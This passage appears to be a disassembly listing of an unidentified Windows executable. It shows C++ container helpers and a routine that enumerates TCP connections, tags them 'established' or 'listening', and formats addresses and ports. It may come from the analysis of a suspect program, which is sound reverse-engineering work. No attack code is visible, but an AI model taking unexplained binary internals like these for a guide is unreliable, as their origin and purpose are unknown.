0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D80 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D7C lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D70 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D70 push eax call esi add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D6C mov edx, [ecx] add edx, 2 push edx call esi add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27E0CD2h push eax nop call near ptr 77C371BCh pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j call near ptr 77C371D3h nop cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8085 call sub_401118 retn sub_419A70 endp ; 